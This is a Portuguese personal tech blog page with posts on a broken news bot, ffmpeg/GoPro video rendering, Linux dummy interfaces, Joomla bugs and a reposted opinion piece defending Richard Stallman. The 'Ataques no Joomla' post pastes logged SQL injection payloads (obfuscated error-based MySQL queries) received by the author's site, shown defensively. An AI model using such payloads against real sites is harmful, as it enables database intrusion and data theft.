helio.loureiro.eng.br
  • Home
  • Unix
  • Linux
  • Blog
  • Python
  • Programação
  • Tudo
  • Suécia
  1. You are here:  
  2. Home

Os artigos mais lidos de 2025

  • Configurando traefik com ssh
  • Configurando o grafana alloy pra monitorar VMs
  • Acessos de robôs nos logs web
  • Configurando o teclado Keychron C3 no Linux
  • Parâmetros de compilação pra Go!

Home

Consertando as postagens automáticas no https://linux-br.org

Details
Written by: Helio Loureiro
Category: Python
Published: May 14, 2026
Hits: 43
  • linux-br.org
  • linux-br
  • asyncio
  • googletrans

Outro dia entrei no https://linux-br.org e olhei as postagens.  E percebi que a última tinha sido dia 28 de dezembro de 2025.  Bem na época em que fiz upgrade do sistema operacional.  Algo que sempre deixo pra fazer nessa época de festas de fim de ano.   Época essa que também aproveito e tiro férias.

Hoje fui olhar nos logs e...


Traceback (most recent call last):
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 17, in 
    from googletrans import Translator
ModuleNotFoundError: No module named 'googletrans'
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:138: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("[ \.,]" + word.lower() + "$", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:141: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("^" + word.lower() + "[ \.,]", text.lower()):
Traceback (most recent call last):
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 17, in 
    from googletrans import Translator
ModuleNotFoundError: No module named 'googletrans'
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:138: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("[ \.,]" + word.lower() + "$", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:141: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("^" + word.lower() + "[ \.,]", text.lower()):
Traceback (most recent call last):
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 17, in 
    from googletrans import Translator
ModuleNotFoundError: No module named 'googletrans'
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:135: SyntaxWarning: invalid escape sequence '\.'
  if re.search("[ \.,]" + word.lower() + "[ \.,]", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:138: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("[ \.,]" + word.lower() + "$", text.lower()):
/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py:141: SyntaxWarning: invalid escape sequence '\.'
  elif re.search("^" + word.lower() + "[ \.,]", text.lower()):
Traceback (most recent call last):
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 17, in 
    from googletrans import Translator
ModuleNotFoundError: No module named 'googletrans'

Então está faltando esse módulo googletrans. Coisa simples.


❯ apt-cache search googletrans
❯ 

Ooops... não tão simples assim.  Então troquei o script que rodava como python3 pra uv, que fiquei fanzasso.  Fui rodar e...


❯ /home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py --config=/home/helio/.config/linux-br.org-autonews-bot/config
INFO:linuxbrnewsgenerator.py:Starting at: Thu May 14 14:50:15 2026
DEBUG:linuxbrnewsgenerator.py:"Picks, Shovels, and the Bill of Materials – Supply Chain Pain Points" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Picks, Shovels, and the Bill of Materials – Supply Chain Pain Points
DEBUG:linuxbrnewsgenerator.py:"Show HN: A whiteboard for your AI coding agent [video]" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Show HN: A whiteboard for your AI coding agent [video]
DEBUG:linuxbrnewsgenerator.py:"EasyDMARC Alternative: Why Teams Are Switching" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: EasyDMARC Alternative: Why Teams Are Switching
DEBUG:linuxbrnewsgenerator.py:"LLM Targeted Underperformance Disproportionately Impacts Vulnerable Users" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: LLM Targeted Underperformance Disproportionately Impacts Vulnerable Users
DEBUG:linuxbrnewsgenerator.py:"Psychosocial Impact of Covid-19 on Intensive Care Unit Personnel" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Psychosocial Impact of Covid-19 on Intensive Care Unit Personnel
DEBUG:linuxbrnewsgenerator.py:"Self-report fraud and walk free, New York prosecutors tell Wall Street" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Self-report fraud and walk free, New York prosecutors tell Wall Street
DEBUG:linuxbrnewsgenerator.py:"Metal Gear Solid Peace Walker" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Metal Gear Solid Peace Walker
DEBUG:linuxbrnewsgenerator.py:"So you want to deploy Falcon / FN-DSA for small post-quantum signatures" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: So you want to deploy Falcon / FN-DSA for small post-quantum signatures
DEBUG:linuxbrnewsgenerator.py:"Wait, Am I a Vampire?" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Wait, Am I a Vampire?
DEBUG:linuxbrnewsgenerator.py:"Subquadratic Model Performance and Architecture Evaluation [pdf]" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Subquadratic Model Performance and Architecture Evaluation [pdf]
DEBUG:linuxbrnewsgenerator.py:"Benchmarking Subquadratic's latest model and SSA Kernel" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: Benchmarking Subquadratic's latest model and SSA Kernel
DEBUG:linuxbrnewsgenerator.py:"Slack having issues with Messaging, API" [SCORE: 1]
INFO:linuxbrnewsgenerator.py:Ranking: [API] 1
INFO:linuxbrnewsgenerator.py:Interested article: Slack having issues with Messaging, API
INFO:linuxbrnewsgenerator.py:Too short summary for: Slack having issues with Messaging, API (DISCARDED)
DEBUG:linuxbrnewsgenerator.py:"The Navigator Trackpad is here" [SCORE: 0]
INFO:linuxbrnewsgenerator.py:Not related to something we might like, so we skip: The Navigator Trackpad is here
DEBUG:linuxbrnewsgenerator.py:"Dude where's my password? Claude reunites forgetful stoner with $400k Bitcoin" [SCORE: 1]
INFO:linuxbrnewsgenerator.py:Ranking: [bitcoin] 1
INFO:linuxbrnewsgenerator.py:Interested article: Dude where's my password? Claude reunites forgetful stoner with $400k Bitcoin
INFO:linuxbrnewsgenerator.py:translating: Dude where's my password? Claude reunites forgetful stoner with $400k Bitcoin
Traceback (most recent call last):
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 508, in 
    news.run()
    ~~~~~~~~^^
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 259, in run
    self.articles = self.getArticles()
                    ~~~~~~~~~~~~~~~~^^
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 306, in getArticles
    translated_summary = self.translate_article(summary)
  File "/home/helio/linux-br.org-news-bot/linuxbrnewsgenerator.py", line 348, in translate_article
    if translated_content.text == text:
       ^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'coroutine' object has no attribute 'text'
:0: RuntimeWarning: coroutine 'Translator.translate' was never awaited

Uma pausa pro momento "tasqueopariu".

Então atualizaram a biblioteca pra asyncio e... eu tenho de me virar com isso agora? 

Bom... então tá.  No fim acabei mexendo pra caramba e atualizei tudo.  Parece que os posts estão de volta ao ar.    Como levei 5 meses pra perceber isso (5 meses e MEIO), se algo der errado, só daqui outros 5 meses.   Tudo em nome da eficiência.

O código novo já está lá no CodeBerg:

https://codeberg.org/helioloureiro/linux-br.org-news-bot

Tempo de renderização

Details
Written by: Helio Loureiro
Category: Blog
Published: May 10, 2026
Hits: 116
  • ffmpeg
  • gopro

Um amigo perguntou quanto tempo levo pra fazer a renderização dos vídeos.

Então pegando como exemplo a última pedalada, foram 40.362 fotos tiradas a cada 0.5 segundo.

Rodei a renderização com time e esse foi o resultado:

 

Total: 229 minutos. 3 horas, 49 minutos e 12 segundos.

154 GB de disco usados.

Não é pouco coisa.

Atualizado script pra geração de vídeo com a GoPro

Details
Written by: Helio Loureiro
Category: Shell Scripts
Published: May 03, 2026
Hits: 156
  • ffmpeg
  • gopro
  • ffmpeg-cuda

Como eu já tinha descrito em Renderizando as fotos da GoPro em vídeo mpeg4 com ffmpeg e NVIDIA, eu gero imagens das pedaladas a cada 0.5 segundo atualmente, e uso ffmpeg pra juntar tudo e fazer o vídeo.

Recentemente fiz algumas melhoria pra além de gerar o vídeo e transformar em 1080p, também estabilizar.

E melhorei as mensagens.

O script está atualizado no CodeBerg:

https://codeberg.org/helioloureiro/homemadescripts/src/branch/master/render-video-from-gopro-photos.sh

E agora precisa de uma lib, a heliolib.sh (bem imaginativo o nome), que também está lá:

https://codeberg.org/helioloureiro/homemadescripts/src/branch/master/heliolib.sh

O resultado desse template de teste, com só 500 imagens (uma pedalada longa é geralmente algo em torno de 35.000-50.000 imagens), está aqui no YouTube:

Não é a versão inicial porque o tamanho segue o mesmo das imagens de 4000x3000 pixels.  Nem todo player consegue lidar com vídeo nesse formato.  E o YouTube acaba jogando pra 1080p.

Já o segundo vídeo, que é acelerado em 10x é esse aqui:

E finalmente o mesmo vídeo, mas estabilizado:

O estabilizado não fica lá muito melhor que o anterior, mas é bem mais rápido fazer com o ffmpeg-cuda e jogar pra GPU que deixar pra fazer depois no kdenlive.

 

 

Ataques no Joomla

Details
Written by: Helio Loureiro
Category: Joomla
Published: April 27, 2026
Hits: 164
  • security

Tenho recebidos vários ataques. E hoje eu percebi que um conseguiu passar pro cache do site.


{
  "time": "2026-04-27T02:26:01.602Z",
  "process": "338026",
  "filename": "/loureiro/index.php",
  "remoteIP": "104.209.8.138",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&start=481&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
  "referer": "-"
}
{
  "time": "2026-04-27T03:06:29.334Z",
  "process": "547775",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.240.225",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T04:13:48.938Z",
  "process": "1719898",
  "filename": "/loureiro/index.php",
  "remoteIP": "5.39.109.174",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&task=view&start=26",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T04:38:04.280Z",
  "process": "1364863",
  "filename": "/loureiro/index.php",
  "remoteIP": "170.79.185.158",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=169&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
  "referer": "https://helio.loureiro.eng.br/index.php?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=143&task=view"
}
{
  "time": "2026-04-27T04:38:20.526Z",
  "process": "33454",
  "filename": "/loureiro/index.php",
  "remoteIP": "217.199.226.8",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=169&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
  "referer": "https://helio.loureiro.eng.br/index.php?id=120%22%29%29%2F%2A%2150000AND%2A%2FEXP%28~%28%2F%2A%2150000SELECT%2A%2F%2A%2F%2A%2150000FROM%2A%2F%28%2F%2A%2150000SELECT%2A%2F%2F%2A%2150000CONCAT%2A%2F%28%27~%27%2C%28%2F%2A%2150000SELECT%2A%2F%28ELT%289611%3D9611%2C1%29%29%29%2C%27~%27%2C%27x%27%29%29x%29%29+AND+%28%28%22NsNw9DLC%22%3D%22NsNw9DLC%22&start=143&task=view"
}
{
  "time": "2026-04-27T05:08:21.162Z",
  "process": "459943",
  "filename": "/loureiro/index.php",
  "remoteIP": "51.195.183.127",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=52",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T05:12:55.699Z",
  "process": "243586",
  "filename": "/loureiro/index.php",
  "remoteIP": "51.89.129.94",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=377",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T05:25:00.517Z",
  "process": "406363",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.226.168",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120\"))/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9611=9611,1))),'~','x'))x))%20AND%20((\"NsNw9DLC\"=\"NsNw9DLC\"&task=view&start=364",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:18:24.576Z",
  "process": "287085",
  "filename": "/loureiro/index.php",
  "remoteIP": "198.244.183.180",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'%20AND%20,(/*!50000SELECT*/9786/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9786=9786,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)--%20-&task=view&start=117",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:40:43.198Z",
  "process": "155356",
  "filename": "/loureiro/index.php",
  "remoteIP": "54.38.147.143",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php/component/finder/search",
  "query": "?q=1/*!50000AND*/(/*!50000SELECT*/2*(IF((/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4119=4119,1))),'~','x'))s),/**/8446744073709551610,/**/8446744073709551610)))%20PROCEDURE%20ANALYSE(6670,1)--%20-&Itemid=101",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}
{
  "time": "2026-04-27T07:58:26.393Z",
  "process": "530181",
  "filename": "/loureiro/index.php",
  "remoteIP": "54.38.147.108",
  "host": "helio.loureiro.eng.br",
  "request": "/index.php",
  "query": "?id=120'))/*!50000AND*/(/*!50000SELECT*/2*(IF((/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7089=7089,1))),'~','x'))s),/**/8446744073709551610,/**/8446744073709551610)))%20AND%20(('q3G8xIn9'%20LIKE%20'q3G8xIn9&task=view",
  "method": "GET",
  "status": "200",
  "userAgent": "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
  "referer": "-"
}

Diminui o tempo de cache pra ver se isso segura a onda.  Mas provavelmente vou precisar configurar meu fail2ban pra esses regex.

Interface de rede dummy no Linux

Details
Written by: Helio Loureiro
Category: Linux
Published: April 27, 2026
Hits: 151
  • redes
  • network

Entre um teste e outro, algumas vezes preciso "emular" uma placa de rede extra com outro endereço IP.  E no LInux isso é possível fazer com o "dummy".

Pra criar, os comandos são os seguintes:


❯ sudo modprobe dummy
❯ sudo ip link add dummy0 type dummy
❯ sudo ip link set dummy0 up

E depois é só configurar.


❯ sudo ip addr add 10.5.4.186/32 dev dummy0

E usar.


❯ ip addr list dev dummy0
13: dummy0:  mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000
    link/ether 7a:0d:87:9c:7e:ff brd ff:ff:ff:ff:ff:ff
    inet 10.5.4.186/32 scope global dummy0
       valid_lft forever preferred_lft forever
    inet6 fe80::780d:87ff:fe9c:7eff/64 scope link 
       valid_lft forever preferred_lft forever

Bom dummy pra vocês.

Tá voando!!!!

Details
Written by: Helio Loureiro
Category: Blog
Published: April 26, 2026
Hits: 181
  • NVIDIA
  • RTX 5060

A bichinha tá voando.  Eita placa porreta!

 

A imagem que foi descrita:

Mas nem tudos são flores.  Eu tenho um monitor extra do lado esquerdo.  E esse tem uma entrada DVI, que estava conectada na placa anterior, GTX 1050ti.  E como pra funcionar estou usando o driver open source mais atual, não funciona na placa velha.  O resultado é somente um monitor funcionando.

Já encomendei um cabo DVI-HDMI no Aliexpress.  Quando chegar, já removo também a placa antiga.

E vamos rodar nossos próprios modelos

Details
Written by: Helio Loureiro
Category: Blog
Published: April 26, 2026
Hits: 202
  • NVIDIA
  • RTX 5060

Se tudo der certo, vou conseguir usar pra treinar meus próprios modele e fazer alguma inferência nela.  Nada muito grande já que só 8 GB de RAM.  E algum jogo de vez em quando.

Uma excelente síntese do imbroglio sobre o Stallman

Details
Written by: Helio Loureiro
Category: Blog
Published: April 20, 2026
Hits: 304
  • FSF
  • stallman
  • rms
  • Free Software Foundation

Se você chegou hoje ao mundo do software livre, pode não estar a par do drama que passou o bom Dr., também conhecido como Richard Stallman.  Ou "rms" pros mais familares.  Durante a época do #meetoo, apareceram acusações contra ele.  A coisa toda virou um turbilhão que culminou com sua saída do MIT, onde morava.

Mas isso eu estou sintetizando demais.  Felizmente hoje o Alexandre Oliva postou uma excelente sumarização de tudo.  Tão boa que resolvi salvar aqui pra estar disponível pra posteridade.

contexto, que acho que não está no site:

epstein era um bilionário traficante de pessoas e de influência. entre os vários meios usados para acumular influência, fazia doações vultosas para instituições acadêmicas e patrocinava eventos científicos. além das atividades, digamos, curriculares, promovia atividades paralelas em que atuavam as escravas sexuais por ele traficadas e mantidas. pesquisadores capturados nessa rede abriam portas para ele, ou porque queriam mais dos favores recebidos, ou porque não queriam que suas aventuras viessem a público.

o MIT estava em polvorosa. um dos diretores havia recebido e disfarçado doações ilegais. um professor, então já falecido, havia sido citado nominalmente por uma das vítimas de tráfico humano. ela afirmava que havia sido orientada a se oferecer para ele numa conferência científica. protestos estavam sendo organizados no MIT por conta disso. muitas pessoas estavam justificavelmente furiosas com os abusos e com a participação de pessoas do MIT.

stallman escreveu, numa lista interna de um departamento onde se propunha adicionar o nome desse professor ao protesto, coisas controversas como que epstein era um estuprador em série, que mantinha um harém, e que provavelmente a vítima escravizada havia sido orientada a se oferecer ao professor como se estivesse genuinamente interessada.

alguém pegou parte da discussão nesse grupo e passou para uma pesquisadora que já estava justificadamente revoltada com os escândalos, e essa pessoa publicou, admitindo-se transtornada, um pôste em que afirmava que stallman havia sugerido que a vítima estivesse genuinamente interessada.

a atitude mais controversa de stallman, que despertou a ira dela e de outras tantas pessoas, foi não embarcar na busca figurativa de sangue de seja quem for para expiar os crimes de epstein. ele foi cauteloso e comedido em não condenar o professor e isso foi imperdoável naquele clima de caça às bruxas. (depois se descobriu que o professor, por sorte ou por cautela, foi acompanhado da esposa para a tal conferência científica, e recusou a oferta da vítima, dando razão à atitude de cautela e comedimento)

o pôste virou notícia, primeiro com relatos mais ou menos fieis ao que ele havia escrito, depois com distorções ainda maiores que as da estudante. um mesmo sítio de fofocas publicou uma matéria narrando os fatos e poucas horas depois outra afirmando até que ele defendia epstein! um horror de pseudojornalismo. mas bombou, bem no momento em que bill gates abafava um escândalo de pedofilia em sua mansão.

a insanidade da caça às bruxas prevaleceu e em poucos dias ele foi obrigado a renunciar de suas posições tanto de pesquisador visitante no MIT, onde morava, quanto da organização de software livre que fundou e presidiu até então, para protegê-la do escâdalo.

anos depois, tendo sido investigado e absolvido por quem se deu o trabalho, ele foi reconduzido à diretoria da organização de software livre. foi um novo escândalo quando pessoas inconformadas se uniram a interesses corporativos e publicaram uma carta aberta contra ele e toda a diretoria da organização.

pelo menos uma pessoa que participou da escrita da carta aberta depois teve a honradez de reconhecer que sabia que as alegações na carta não eram verdadeiras, e que sabia que não eram verdadeiras.

outra carta aberta apoiando a organização, sua diretoria e seu ex-presidente foi publicada e recebeu mais que o dobro de assinaturas que a carta mentirosa.

alguns anos depois, um novo ataque veio com novas interpretações fantasiosas de notícias e comentários que stallman publicara em seu blog de ativismo político tentava de alguma maneira associá-lo a pedofilia. um relatório que se pretendia anônimo teve em pouco tempo sua origem identificada como um ativista obcecado por tomar o lugar de stallman, aparentemente traumatizado por questões sexuais e viciado em consumir e traficar desenhos eróticos adolescentes. ficou claro que, no relatório, projetava em stallman suas próprias interpretações, pensamentos e desejos sobre práticas sexuais com crianças e adolescentes.

tenho saudades do tempo em que as empresas só atacavam stallman com bobagens como que ele não toma tanto banho quanto nós (porque vem de clima frio, onde isso é o normal), ou que ele é uma pessoa difícil de lidar (porque ele não se deixa enrolar, não cede em questões de princípio, e tem crises e meltdowns autistas mesmo não se identificando como tal).

as falsas alegações de perversões e abusos sexuais são muito mais injustas e muito mais daninhas, porque pessoas acreditam e reagem por cautela e horror, mesmo sem provas, e porque são muito mais difíceis de contestar e de desprovar. é terreno fértil para explorar pessoas preconceituosas e semear a discórdia e a injustiça nada desinteressada.

Excelente resumo.

O original está aqui:  https://snac.lx.oliva.nom.br/lxo/p/1776650481.265613

Alguns dos eventos não estão comentandos, como o que as mulheres do MIT foram à público reclamar que o bom Dr. era um pouco demais em seus flertes.  E como ele não gostava de plantas, colocavam plantas em suas salas pra o manter longe dali.  Assim como sua volta à FSF, que não foi lá muito bem recebida uma vez foi decida por um pequeno grupo dentro da mesma (o que mostra que a luta por liberdade não é necessariamente uma democracia), mas em geral descreve bem a situação.

Meu hackzinho em cima de ffmpeg-full-git do AUR

Details
Written by: Helio Loureiro
Category: Linux
Published: April 19, 2026
Hits: 193
  • ffmpeg
  • codeberg
  • archlinux
  • NVIDIA
  • ffmpeg-cuda
  • AUR

Eu tenho uma placa de vídeo relativamente antiga: NVIDIA GTX 1050ti.  Ela tem servido bem pro que preciso, mas deixa pra trás em alguns quesitos como rodar algum modelo mais complexo pelo ollama.  Mas complexo?  Nem os mais simples têm rodado.  Porém o meu maior uso é renderizar os vídeos das pedaladas.  Já escrevi o processo que faço aqui: Renderizando as fotos da GoPro em vídeo mpeg4 com ffmpeg e NVIDIA.

O problema surgiu quando a NVIDIA anunciou que abandonaria o suporte pra essa placa.  A solução?  Parar de usar o pacote do próprio archlinux e passar a usar um do AUR.  Até aí, sem grandes problemas.  Archlinux é feito pra esse tipo de coisa.  O problema foi que eu usava o pacote ffmpeg-cuda e esse parou de receber updates.

A primeira solução que tentei foi fazer o build do pacote ffmpeg-full-git.  Depois de trocentas horas compilando, erro.  E não consegui resolver.

Então parti pra uma solução própria: peguei o pacote do ffmpeg-full-git, removi boa parte do que precisa pra compilar, olhei o que tinha no ffmpeg-cuda e... voilá!  Pacote compilado.

E subi a solução toda pro codeberg, caso alguém também precise.

https://codeberg.org/helioloureiro/archlinux-ffmpeg-cuda

Eu vou precisar manter atualizado em algum momento.  Mas depois descubro como farei isso.  Um problema de cada vez.

Il nome della rosa birra

Details
Written by: Helio Loureiro
Category: Blog
Published: April 19, 2026
Hits: 225

Diretamente do fediverso:

Amei.  🐦‍⬛❤️

Joomla 6.1 ainda com alguns soluços

Details
Written by: Helio Loureiro
Category: Joomla
Published: April 19, 2026
Hits: 174
  • bug

Mexendo aqui e ali, ainda aperecem alguns bugs no meu Joomla 6.1.  O último é da imagem abaixo:

"Failed opening required '/var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapther.php' (include_path=´.:/usr/share/php')"

Encontrei uma referênci nesse link:

https://www.blog.nestict.com/fixing-joomla-error-failed-opening-required-com_finder-helpers-indexer-adapter-php-the-real-cause-and-solution/

Apesar de comentar sobre o mesmo erro, ainda assim não é o mesmo problema.  Não tenho o tal plugin.

O que fiz no momento foi buscar onde esse arquivo é referenciado:


$ rg "com_finder/helpers/indexer/adapter.php" /var/www/loureiro.eng.br
/var/www/loureiro.eng.br/plugins/finder/weblinks/weblinks.php
15:require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php';

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251212-144959-340716.log.php
24599:DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251228-175859-132763.log.php
24601:DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)

/var/www/loureiro.eng.br/administrator/components/com_admin/script.php
502:            //'/administrator/components/com_finder/helpers/indexer/adapter.php',

Achei uma referência de adapter.php com component pra admin:


$ fd adapter.php /var/www/loureiro.eng.br | grep administrator | grep components | grep com_finder
/var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php
